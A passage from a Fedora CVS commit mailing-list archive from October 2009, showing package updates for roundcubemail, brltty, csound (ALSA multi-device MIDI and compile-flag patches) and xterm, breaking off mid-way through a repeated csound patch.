Update of /cvs/pkgs/rpms/roundcubemail/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3832/F-11

Modified Files:
	roundcubemail-README.fedora 
Log Message:
Minor update to README, not need for new builds.



Index: roundcubemail-README.fedora
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-11/roundcubemail-README.fedora,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- roundcubemail-README.fedora	28 May 2007 17:22:40 -0000	1.1
+++ roundcubemail-README.fedora	20 Oct 2009 13:10:14 -0000	1.2
@@ -10,4 +10,15 @@ PDO extension, or if SQLite2 support for
 will re-enable SQLite support in Roundcubemail.
 
 Jon Ciesla
-05/11/2007
\ No newline at end of file
+05/11/2007
+
+Additional installation information:
+
+In your installation process, you'll need to modify db.inc.php and main.inc.php.  
+In Fedora, these are located in /etc/roundcubemail.  These will work in this location,
+and should not be moved.  They will not be modified at upgrade, so you may want to 
+check the .rpmnew files at that time so see if you need to migrate your settings to 
+the new file.
+
+Jon Ciesla
+10/20/2009



From limb at fedoraproject.org  Tue Oct 20 13:10:14 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 20 Oct 2009 13:10:14 +0000 (UTC)
Subject: rpms/roundcubemail/devel roundcubemail-README.fedora,1.1,1.2
Message-ID: <20091020131014.8EE4711C02A6@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3832/devel

Modified Files:
	roundcubemail-README.fedora 
Log Message:
Minor update to README, not need for new builds.



Index: roundcubemail-README.fedora
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/devel/roundcubemail-README.fedora,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- roundcubemail-README.fedora	28 May 2007 17:22:40 -0000	1.1
+++ roundcubemail-README.fedora	20 Oct 2009 13:10:14 -0000	1.2
@@ -10,4 +10,15 @@ PDO extension, or if SQLite2 support for
 will re-enable SQLite support in Roundcubemail.
 
 Jon Ciesla
-05/11/2007
\ No newline at end of file
+05/11/2007
+
+Additional installation information:
+
+In your installation process, you'll need to modify db.inc.php and main.inc.php.  
+In Fedora, these are located in /etc/roundcubemail.  These will work in this location,
+and should not be moved.  They will not be modified at upgrade, so you may want to 
+check the .rpmnew files at that time so see if you need to migrate your settings to 
+the new file.
+
+Jon Ciesla
+10/20/2009



From limb at fedoraproject.org  Tue Oct 20 13:10:14 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Tue, 20 Oct 2009 13:10:14 +0000 (UTC)
Subject: rpms/roundcubemail/F-10 roundcubemail-README.fedora,1.1,1.2
Message-ID: <20091020131014.0C59411C02A6@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/roundcubemail/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3832/F-10

Modified Files:
	roundcubemail-README.fedora 
Log Message:
Minor update to README, not need for new builds.



Index: roundcubemail-README.fedora
===================================================================
RCS file: /cvs/pkgs/rpms/roundcubemail/F-10/roundcubemail-README.fedora,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- roundcubemail-README.fedora	28 May 2007 17:22:40 -0000	1.1
+++ roundcubemail-README.fedora	20 Oct 2009 13:10:13 -0000	1.2
@@ -10,4 +10,15 @@ PDO extension, or if SQLite2 support for
 will re-enable SQLite support in Roundcubemail.
 
 Jon Ciesla
-05/11/2007
\ No newline at end of file
+05/11/2007
+
+Additional installation information:
+
+In your installation process, you'll need to modify db.inc.php and main.inc.php.  
+In Fedora, these are located in /etc/roundcubemail.  These will work in this location,
+and should not be moved.  They will not be modified at upgrade, so you may want to 
+check the .rpmnew files at that time so see if you need to migrate your settings to 
+the new file.
+
+Jon Ciesla
+10/20/2009



From kasal at fedoraproject.org  Tue Oct 20 13:20:53 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Tue, 20 Oct 2009 13:20:53 +0000 (UTC)
Subject: rpms/brltty/devel brltty.spec,1.36,1.37
Message-ID: <20091020132053.4F3DB11C0081@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/brltty/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6048

Modified Files:
	brltty.spec 
Log Message:
- escape rpm macros in the rpm change log


Index: brltty.spec
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/brltty.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- brltty.spec	9 Oct 2009 11:48:43 -0000	1.36
+++ brltty.spec	20 Oct 2009 13:20:53 -0000	1.37
@@ -9,7 +9,7 @@
 
 Name: brltty
 Version: %{pkg_version}
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://mielke.cc/brltty/
@@ -226,6 +226,9 @@ exit 0
 
 
 %changelog
+* Tue Oct 20 2009 Stepan Kasal <skasal at redhat.com> - 4.0-2
+- escape rpm macros in the rpm change log
+
 * Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 4.0-1
 - new upstream version
 - drop upstreamed patches; ./autogen nut needed anymore
@@ -346,7 +349,7 @@ exit 0
 
 * Mon Jul 07 2003 Adrian Havill <havill at redhat.com> 3.2-2
 - changed spec "Copyright" to "License"
-- use %configure macro, %{_libdir} for non-ia32 archs
+- use %%configure macro, %%{_libdir} for non-ia32 archs
 - removed unnecessary set and unset, assumed/default spec headers
 - fixed unpackaged man page, duplicate /bin and /lib entries
 - use plain install vs scripts for non-i386 buildsys



From pbrobinson at fedoraproject.org  Tue Oct 20 13:23:07 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 20 Oct 2009 13:23:07 +0000 (UTC)
Subject: rpms/csound/devel csound-5.10.1-all-midi.patch, NONE,
	1.1 csound-5.10.1-compile-flag.patch, NONE, 1.1 csound.spec,
	1.33, 1.34
Message-ID: <20091020132308.0508811C0081@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/csound/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6492

Modified Files:
	csound.spec 
Added Files:
	csound-5.10.1-all-midi.patch csound-5.10.1-compile-flag.patch 
Log Message:
- Fix use of multiple midi devices, fix segfault (RHBZ 529293)

csound-5.10.1-all-midi.patch:
 rtalsa.c |  187 ++++++++++++++++++++++++++++++++++++++++++++-------------------
 1 file changed, 133 insertions(+), 54 deletions(-)

--- NEW FILE csound-5.10.1-all-midi.patch ---
diff --git a/InOut/rtalsa.c b/InOut/rtalsa.c
index 94bd9fe..381ad97 100644
--- a/InOut/rtalsa.c
+++ b/InOut/rtalsa.c
@@ -2,6 +2,7 @@
     rtalsa.c:
 
     Copyright (C) 2005 Istvan Varga
+              (C) 2009 Andr?s Cabrera, Clemens Ladisch
 
     This file is part of Csound.
 
@@ -82,8 +83,10 @@ typedef struct alsaMidiInputDevice_ {
     snd_rawmidi_t  *dev;
     int            bufpos, nbytes, datreq;
     unsigned char  prvStatus, dat1, dat2;
+    struct alsaMidiInputDevice_ *next;
 } alsaMidiInputDevice;
 
+
 typedef struct midiDevFile_ {
     unsigned char  buf[BUF_SIZE];
     int            fd;
@@ -665,29 +668,89 @@ static void rtclose_(CSOUND *csound)
     }
 }
 
-static int midi_in_open(CSOUND *csound, void **userData, const char *devName)
+static alsaMidiInputDevice* open_midi_device(CSOUND *csound, const char  *s)
 {
-    alsaMidiInputDevice *dev;
-    const char  *s = "hw:0,0";
     int         err;
+    alsaMidiInputDevice *dev;
 
-    (*userData) = NULL;
     dev = (alsaMidiInputDevice*) malloc(sizeof(alsaMidiInputDevice));
     if (dev == NULL) {
       csound->ErrorMsg(csound, Str("ALSA MIDI: memory allocation failure"));
-      return -1;
+      return dev;
     }
     memset(dev, 0, sizeof(alsaMidiInputDevice));
-    if (devName != NULL && devName[0] != '\0')
-      s = devName;
     err = snd_rawmidi_open(&(dev->dev), NULL, s, SND_RAWMIDI_NONBLOCK);
     if (err != 0) {
-      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI input device"));
-      free((void*) dev);
-      return -1;
+      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI input device: '%s'"), s);
+      free(dev);
+      return NULL;
     }
     csound->Message(csound, Str("ALSA: opened MIDI input device '%s'\n"), s);
-    (*userData) = (void*) dev;
+    return dev;
+}
+
+// This is the function which contains code from amidi
+static int midi_in_open(CSOUND *csound, void **userData, const char *devName)
+{
+    alsaMidiInputDevice *dev, *newdev, *olddev;
+    const char  *s = "hw:0,0";
+    int card, err;
+    int device;
+    snd_ctl_t *ctl;
+    char* name;
+    name = (char *) calloc(32, sizeof(char));
+
+    (*userData) = NULL;
+    olddev = NULL;
+    if (devName[0] == 'a') {
+      csound->Message(csound, Str("ALSA midi: Using all devices.\n"));
+      card = -1;
+      if (snd_card_next(&card) >= 0 && card >= 0) {
+        do {
+          sprintf(name, "hw:%d", card);
+          if (snd_ctl_open(&ctl, name, 0) >= 0) {
+            device = -1;
+            for (;;) {
+              if (snd_ctl_rawmidi_next_device(ctl, &device) < 0) {
+                break;
+              }
+              if (device < 0)
+                break;
+              sprintf(name, "hw:%d,%d", card, device);
+              newdev = open_midi_device(csound, name);
+              if (newdev != NULL) {   /* Device opened successfully */
+                if (olddev != NULL) {
+                  olddev->next = newdev;
+                }
+                else { /* First Device */
+                  dev = newdev;
+                }
+                olddev = newdev;
+                newdev = NULL;
+              }
+	      else { /* Device couldn't be opened */
+		csound->Message(csound,
+				Str("ALSA midi: Error opening device: %s\n"),
+				name);
+	      }
+            }
+          }
+          if (snd_card_next(&card) < 0)
+            break;
+        } while (card >= 0);
+
+        snd_ctl_close(ctl);
+      }
+    }
+    else if (devName != NULL && devName[0] != '\0') {
+      dev = open_midi_device(csound, devName);
+      if (dev == NULL) {
+        free(name);
+        return -1;
+      }
+    }
+    *userData = (void*) dev;
+    free(name);
     return 0;
 }
 
@@ -698,58 +761,74 @@ static int midi_in_read(CSOUND *csound,
     int             bufpos = 0;
     unsigned char   c;
 
-    (void) csound;
-    while ((nbytes - bufpos) >= 3) {
-      if (dev->bufpos >= dev->nbytes) { /* read from device */
-        int n = (int) snd_rawmidi_read(dev->dev, &(dev->buf[0]), BUF_SIZE);
-        dev->bufpos = 0;
-        if (n <= 0) {                   /* until there is no more data left */
-          dev->nbytes = 0;
-          break;
+    if (!dev) { /* No devices */
+     /*  fprintf(stderr, "No devices!"); */
+      return 0;
+    }
+    /* (void) csound; */
+    dev->bufpos = 0;
+    while (dev && dev->dev) {
+      while ((nbytes - bufpos) >= 3) {
+        if (dev->bufpos >= dev->nbytes) { /* read from device */
+          int n = (int) snd_rawmidi_read(dev->dev, &(dev->buf[0]), BUF_SIZE);
+          dev->bufpos = 0;
+          if (n <= 0) {                   /* until there is no more data left */
+            dev->nbytes = 0;
+            break;
+          }
+          dev->nbytes = n;
         }
-        dev->nbytes = n;
-      }
-      c = dev->buf[dev->bufpos++];
-      if (c >= (unsigned char) 0xF8) {          /* real time message */
-        buf[bufpos++] = c;
-        continue;
-      }
-      if (c == (unsigned char) 0xF7)            /* end of system exclusive */
-        c = dev->prvStatus;
-      if (c < (unsigned char) 0x80) {           /* data byte */
-        if (dev->datreq <= 0)
+        c = dev->buf[dev->bufpos++];
+        if (c >= (unsigned char) 0xF8) {          /* real time message */
+          buf[bufpos++] = c;
           continue;
-        if (dev->datreq == (int) dataBytes[(int) dev->prvStatus >> 4])
-          dev->dat1 = c;
-        else
-          dev->dat2 = c;
-        if (--(dev->datreq) != 0)
+        }
+        if (c == (unsigned char) 0xF7)            /* end of system exclusive */
+          c = dev->prvStatus;
+        if (c < (unsigned char) 0x80) {           /* data byte */
+          if (dev->datreq <= 0)
+            continue;
+          if (dev->datreq == (int) dataBytes[(int) dev->prvStatus >> 4])
+            dev->dat1 = c;
+          else
+            dev->dat2 = c;
+          if (--(dev->datreq) != 0)
+            continue;
+          dev->datreq = dataBytes[(int) dev->prvStatus >> 4];
+          buf[bufpos] = dev->prvStatus;
+          buf[bufpos + 1] = dev->dat1;
+          buf[bufpos + 2] = dev->dat2;
+          bufpos += (dev->datreq + 1);
           continue;
-        dev->datreq = dataBytes[(int) dev->prvStatus >> 4];
-        buf[bufpos] = dev->prvStatus;
-        buf[bufpos + 1] = dev->dat1;
-        buf[bufpos + 2] = dev->dat2;
-        bufpos += (dev->datreq + 1);
-        continue;
-      }
-      else if (c < (unsigned char) 0xF0) {      /* channel message */
-        dev->prvStatus = c;
-        dev->datreq = dataBytes[(int) c >> 4];
-        continue;
+        }
+        else if (c < (unsigned char) 0xF0) {      /* channel message */
+          dev->prvStatus = c;
+          dev->datreq = dataBytes[(int) c >> 4];
+          continue;
+        }
+        if (c < (unsigned char) 0xF4)             /* ignore system messages */
+          dev->datreq = -1;
       }
-      if (c < (unsigned char) 0xF4)             /* ignore system messages */
-        dev->datreq = -1;
+      dev = dev->next;
     }
     return bufpos;
 }
 
 static int midi_in_close(CSOUND *csound, void *userData)
 {
-    int retval = 0;
+    int ret, retval = 0;
+    alsaMidiInputDevice *olddev, *dev = NULL;
     (void) csound;
-    if (userData != NULL) {
-      retval = snd_rawmidi_close(((alsaMidiInputDevice*) userData)->dev);
-      free(userData);
+    dev = (alsaMidiInputDevice*) userData;
+    while (dev != NULL) {
+      if (dev->dev) {
+        ret = snd_rawmidi_close(dev->dev); 
+      }     
+      olddev = dev;
+      dev = dev->next;
+      free(olddev);
+      if (retval != -1)
+        retval = ret;
     }
     return retval;
 }
@@ -765,8 +844,8 @@ static int midi_out_open(CSOUND *csound, void **userData, const char *devName)
       s = devName;
     err = snd_rawmidi_open(NULL, &dev, s, SND_RAWMIDI_NONBLOCK);
     if (err != 0) {
-      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI output device"));
-      return -1;
+      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI output device '%s'"));
+      return 0;
     }
     csound->Message(csound, Str("ALSA: opened MIDI output device '%s'\n"), s);
     (*userData) = (void*) dev;

csound-5.10.1-compile-flag.patch:
 csound.c |   16 ++++++++++++++++
 main.c   |   12 ++++++++++--
 2 files changed, 26 insertions(+), 2 deletions(-)

--- NEW FILE csound-5.10.1-compile-flag.patch ---
diff -ur Csound5.10.1/Top/csound.c Csound5.10.1-patch/Top/csound.c
--- Csound5.10.1/Top/csound.c	2009-10-15 21:46:28.608183562 -0400
+++ Csound5.10.1-patch/Top/csound.c	2009-10-15 21:53:50.272631365 -0400
@@ -1363,6 +1363,10 @@
   {
       int done;
       int returnValue;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1383,6 +1387,10 @@
   {
       int done = 0;
       int returnValue;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1402,6 +1410,10 @@
   {
       int returnValue;
       int done;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* Setup jmp for return after an exit(). */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1427,6 +1439,10 @@
       int done;
       int returnValue;
       csound->performState = 0;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
diff -ur Csound5.10.1/Top/main.c Csound5.10.1-patch/Top/main.c
--- Csound5.10.1/Top/main.c	2008-08-11 03:42:21.000000000 -0400
+++ Csound5.10.1-patch/Top/main.c	2009-10-15 21:49:14.804391186 -0400
@@ -89,7 +89,8 @@
     dbfs_init(csound, DFLT_DBFS);
     csound->csRtClock = (RTCLOCK*) csound->Calloc(csound, sizeof(RTCLOCK));
     csoundInitTimerStruct(csound->csRtClock);
-    csound->engineState |= CS_STATE_COMP | CS_STATE_CLN;
+    /* WTB - Oct 15 2009: only set CS_STATE_CLN; CS_STATE_COMP set when retval=0. */
+    csound->engineState |= /*CS_STATE_COMP |*/ CS_STATE_CLN;
 
 #ifndef USE_DOUBLE
 #ifdef BETA
@@ -430,6 +431,13 @@
 
     }
 
-    return musmon(csound);
+    n = musmon(csound);
+
+    /* WTB - Oct 15 2009: CS_STATE_COMP set when retval=0. */
+    if (n == 0) {
+		csound->engineState |= CS_STATE_COMP;
+    }
+
+    return n;
 }
 


Index: csound.spec
===================================================================
RCS file: /cvs/pkgs/rpms/csound/devel/csound.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- csound.spec	5 Sep 2009 14:12:06 -0000	1.33
+++ csound.spec	20 Oct 2009 13:23:07 -0000	1.34
@@ -14,7 +14,7 @@
 Summary:       A sound synthesis language and library
 Name:          csound
 Version:       5.10.1
-Release:       12%{?dist}
+Release:       13%{?dist}
 URL:           http://csound.sourceforge.net/
 License:       LGPLv2+
 Group:         Applications/Multimedia
@@ -49,10 +49,11 @@ Patch5: csound-5.10.1-64-bit-plugin-path
 Patch6: csound-5.10.1-fix-conflicts.patch
 Patch7: csound-5.10.1-fix-locale-install.patch
 Patch8: csound-5.10.1-enable-oggplay.patch
-
 Patch9: csound-2817271-soname.patch
 Patch0: csound-fixpython.patch
 Patch10: csound-default-pulse.patch
+Patch11: csound-5.10.1-compile-flag.patch
+Patch12: csound-5.10.1-all-midi.patch
 
 %description
 Csound is a sound and music synthesis system, providing facilities for
@@ -197,6 +198,8 @@ Canonical Reference Manual for Csound.
 %patch8 -p1 -b .enable-oggplay
 %patch9 -p1 -b .2817271-soname
 %patch10 -p1 -b .default-pulse
+%patch11 -p1 -b .compile-flag
+%patch12 -p1 -b .all-midi
 
 tar xf %{SOURCE1}
 (cd manual; unzip -q %{SOURCE2})
@@ -430,9 +433,15 @@ fi
 %doc manual/examples
 
 %changelog
+* Tue Oct 20 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-13
+- Fix use of multiple midi devices, fix segfault (RHBZ 529293)
+
 * Sat Sep  5 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-12
 - Build fixes, set PulseAudio as default
 
+* Tue Aug 18 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-11
+- Further python build fixes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.10.1-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mlichvar at fedoraproject.org  Tue Oct 20 13:26:46 2009
From: mlichvar at fedoraproject.org (Miroslav Lichvar)
Date: Tue, 20 Oct 2009 13:26:46 +0000 (UTC)
Subject: rpms/xterm/devel .cvsignore, 1.38, 1.39 sources, 1.38,
	1.39 xterm.spec, 1.80, 1.81
Message-ID: <20091020132646.A743011C0081@cvs1.fedora.phx.redhat.com>

Author: mlichvar

Update of /cvs/pkgs/rpms/xterm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6942

Modified Files:
	.cvsignore sources xterm.spec 
Log Message:
- update to 250



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/devel/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	8 Oct 2009 12:16:10 -0000	1.38
+++ .cvsignore	20 Oct 2009 13:26:46 -0000	1.39
@@ -1,2 +1,2 @@
 16colors.txt
-xterm-249.tgz
+xterm-250.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/devel/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	8 Oct 2009 12:16:10 -0000	1.38
+++ sources	20 Oct 2009 13:26:46 -0000	1.39
@@ -1,2 +1,2 @@
 6093439b8d79089f4ff1cdfed358b401  16colors.txt
-d51ebabd8f2114911494310cdda38a12  xterm-249.tgz
+962ce117f65daf6bf376b6697b2cd02d  xterm-250.tgz


Index: xterm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xterm/devel/xterm.spec,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- xterm.spec	8 Oct 2009 12:16:10 -0000	1.80
+++ xterm.spec	20 Oct 2009 13:26:46 -0000	1.81
@@ -1,6 +1,6 @@
 Summary: Terminal emulator for the X Window System
 Name: xterm
-Version: 249
+Version: 250
 Release: 1%{?dist}
 URL: http://dickey.his.com/xterm
 License: MIT
@@ -63,7 +63,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc xterm.log.html ctlseqs.txt 16colors.txt README.i18n
+%doc xterm.log.html ctlseqs.txt 16colors.txt README.i18n THANKS
 %{_bindir}/xterm
 %{_bindir}/koi8rxterm
 %{_bindir}/resize
@@ -80,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %{x11_app_defaults_dir}/XTerm-color
 
 %changelog
+* Tue Oct 20 2009 Miroslav Lichvar <mlichvar at redhat.com> 250-1
+- update to 250
+
 * Thu Oct 08 2009 Miroslav Lichvar <mlichvar at redhat.com> 249-1
 - update to 249
 



From pbrobinson at fedoraproject.org  Tue Oct 20 13:27:22 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 20 Oct 2009 13:27:22 +0000 (UTC)
Subject: rpms/csound/F-12 csound-5.10.1-all-midi.patch, NONE,
	1.1 csound-5.10.1-compile-flag.patch, NONE, 1.1 csound.spec,
	1.33, 1.34
Message-ID: <20091020132722.C09F611C0081@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/csound/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7150

Modified Files:
	csound.spec 
Added Files:
	csound-5.10.1-all-midi.patch csound-5.10.1-compile-flag.patch 
Log Message:
- Fix use of multiple midi devices, fix segfault (RHBZ 529293)

csound-5.10.1-all-midi.patch:
 rtalsa.c |  187 ++++++++++++++++++++++++++++++++++++++++++++-------------------
 1 file changed, 133 insertions(+), 54 deletions(-)

--- NEW FILE csound-5.10.1-all-midi.patch ---
diff --git a/InOut/rtalsa.c b/InOut/rtalsa.c
index 94bd9fe..381ad97 100644
--- a/InOut/rtalsa.c
+++ b/InOut/rtalsa.c
@@ -2,6 +2,7 @@
     rtalsa.c:
 
     Copyright (C) 2005 Istvan Varga
+              (C) 2009 Andr?s Cabrera, Clemens Ladisch
 
     This file is part of Csound.
 
@@ -82,8 +83,10 @@ typedef struct alsaMidiInputDevice_ {
     snd_rawmidi_t  *dev;
     int            bufpos, nbytes, datreq;
     unsigned char  prvStatus, dat1, dat2;
+    struct alsaMidiInputDevice_ *next;
 } alsaMidiInputDevice;
 
+
 typedef struct midiDevFile_ {
     unsigned char  buf[BUF_SIZE];
     int            fd;
@@ -665,29 +668,89 @@ static void rtclose_(CSOUND *csound)
     }
 }
 
-static int midi_in_open(CSOUND *csound, void **userData, const char *devName)
+static alsaMidiInputDevice* open_midi_device(CSOUND *csound, const char  *s)
 {
-    alsaMidiInputDevice *dev;
-    const char  *s = "hw:0,0";
     int         err;
+    alsaMidiInputDevice *dev;
 
-    (*userData) = NULL;
     dev = (alsaMidiInputDevice*) malloc(sizeof(alsaMidiInputDevice));
     if (dev == NULL) {
       csound->ErrorMsg(csound, Str("ALSA MIDI: memory allocation failure"));
-      return -1;
+      return dev;
     }
     memset(dev, 0, sizeof(alsaMidiInputDevice));
-    if (devName != NULL && devName[0] != '\0')
-      s = devName;
     err = snd_rawmidi_open(&(dev->dev), NULL, s, SND_RAWMIDI_NONBLOCK);
     if (err != 0) {
-      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI input device"));
-      free((void*) dev);
-      return -1;
+      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI input device: '%s'"), s);
+      free(dev);
+      return NULL;
     }
     csound->Message(csound, Str("ALSA: opened MIDI input device '%s'\n"), s);
-    (*userData) = (void*) dev;
+    return dev;
+}
+
+// This is the function which contains code from amidi
+static int midi_in_open(CSOUND *csound, void **userData, const char *devName)
+{
+    alsaMidiInputDevice *dev, *newdev, *olddev;
+    const char  *s = "hw:0,0";
+    int card, err;
+    int device;
+    snd_ctl_t *ctl;
+    char* name;
+    name = (char *) calloc(32, sizeof(char));
+
+    (*userData) = NULL;
+    olddev = NULL;
+    if (devName[0] == 'a') {
+      csound->Message(csound, Str("ALSA midi: Using all devices.\n"));
+      card = -1;
+      if (snd_card_next(&card) >= 0 && card >= 0) {
+        do {
+          sprintf(name, "hw:%d", card);
+          if (snd_ctl_open(&ctl, name, 0) >= 0) {
+            device = -1;
+            for (;;) {
+              if (snd_ctl_rawmidi_next_device(ctl, &device) < 0) {
+                break;
+              }
+              if (device < 0)
+                break;
+              sprintf(name, "hw:%d,%d", card, device);
+              newdev = open_midi_device(csound, name);
+              if (newdev != NULL) {   /* Device opened successfully */
+                if (olddev != NULL) {
+                  olddev->next = newdev;
+                }
+                else { /* First Device */
+                  dev = newdev;
+                }
+                olddev = newdev;
+                newdev = NULL;
+              }
+	      else { /* Device couldn't be opened */
+		csound->Message(csound,
+				Str("ALSA midi: Error opening device: %s\n"),
+				name);
+	      }
+            }
+          }
+          if (snd_card_next(&card) < 0)
+            break;
+        } while (card >= 0);
+
+        snd_ctl_close(ctl);
+      }
+    }
+    else if (devName != NULL && devName[0] != '\0') {
+      dev = open_midi_device(csound, devName);
+      if (dev == NULL) {
+        free(name);
+        return -1;
+      }
+    }
+    *userData = (void*) dev;
+    free(name);
     return 0;
 }
 
@@ -698,58 +761,74 @@ static int midi_in_read(CSOUND *csound,
     int             bufpos = 0;
     unsigned char   c;
 
-    (void) csound;
-    while ((nbytes - bufpos) >= 3) {
-      if (dev->bufpos >= dev->nbytes) { /* read from device */
-        int n = (int) snd_rawmidi_read(dev->dev, &(dev->buf[0]), BUF_SIZE);
-        dev->bufpos = 0;
-        if (n <= 0) {                   /* until there is no more data left */
-          dev->nbytes = 0;
-          break;
+    if (!dev) { /* No devices */
+     /*  fprintf(stderr, "No devices!"); */
+      return 0;
+    }
+    /* (void) csound; */
+    dev->bufpos = 0;
+    while (dev && dev->dev) {
+      while ((nbytes - bufpos) >= 3) {
+        if (dev->bufpos >= dev->nbytes) { /* read from device */
+          int n = (int) snd_rawmidi_read(dev->dev, &(dev->buf[0]), BUF_SIZE);
+          dev->bufpos = 0;
+          if (n <= 0) {                   /* until there is no more data left */
+            dev->nbytes = 0;
+            break;
+          }
+          dev->nbytes = n;
         }
-        dev->nbytes = n;
-      }
-      c = dev->buf[dev->bufpos++];
-      if (c >= (unsigned char) 0xF8) {          /* real time message */
-        buf[bufpos++] = c;
-        continue;
-      }
-      if (c == (unsigned char) 0xF7)            /* end of system exclusive */
-        c = dev->prvStatus;
-      if (c < (unsigned char) 0x80) {           /* data byte */
-        if (dev->datreq <= 0)
+        c = dev->buf[dev->bufpos++];
+        if (c >= (unsigned char) 0xF8) {          /* real time message */
+          buf[bufpos++] = c;
           continue;
-        if (dev->datreq == (int) dataBytes[(int) dev->prvStatus >> 4])
-          dev->dat1 = c;
-        else
-          dev->dat2 = c;
-        if (--(dev->datreq) != 0)
+        }
+        if (c == (unsigned char) 0xF7)            /* end of system exclusive */
+          c = dev->prvStatus;
+        if (c < (unsigned char) 0x80) {           /* data byte */
+          if (dev->datreq <= 0)
+            continue;
+          if (dev->datreq == (int) dataBytes[(int) dev->prvStatus >> 4])
+            dev->dat1 = c;
+          else
+            dev->dat2 = c;
+          if (--(dev->datreq) != 0)
+            continue;
+          dev->datreq = dataBytes[(int) dev->prvStatus >> 4];
+          buf[bufpos] = dev->prvStatus;
+          buf[bufpos + 1] = dev->dat1;
+          buf[bufpos + 2] = dev->dat2;
+          bufpos += (dev->datreq + 1);
           continue;
-        dev->datreq = dataBytes[(int) dev->prvStatus >> 4];
-        buf[bufpos] = dev->prvStatus;
-        buf[bufpos + 1] = dev->dat1;
-        buf[bufpos + 2] = dev->dat2;
-        bufpos += (dev->datreq + 1);
-        continue;
-      }
-      else if (c < (unsigned char) 0xF0) {      /* channel message */
-        dev->prvStatus = c;
-        dev->datreq = dataBytes[(int) c >> 4];
-        continue;
+        }
+        else if (c < (unsigned char) 0xF0) {      /* channel message */
+          dev->prvStatus = c;
+          dev->datreq = dataBytes[(int) c >> 4];
+          continue;
+        }
+        if (c < (unsigned char) 0xF4)             /* ignore system messages */
+          dev->datreq = -1;
       }
-      if (c < (unsigned char) 0xF4)             /* ignore system messages */
-        dev->datreq = -1;
+      dev = dev->next;
     }
     return bufpos;
 }
 
 static int midi_in_close(CSOUND *csound, void *userData)
 {
-    int retval = 0;
+    int ret, retval = 0;
+    alsaMidiInputDevice *olddev, *dev = NULL;
     (void) csound;
-    if (userData != NULL) {
-      retval = snd_rawmidi_close(((alsaMidiInputDevice*) userData)->dev);
-      free(userData);
+    dev = (alsaMidiInputDevice*) userData;
+    while (dev != NULL) {
+      if (dev->dev) {
+        ret = snd_rawmidi_close(dev->dev); 
+      }     
+      olddev = dev;
+      dev = dev->next;
+      free(olddev);
+      if (retval != -1)
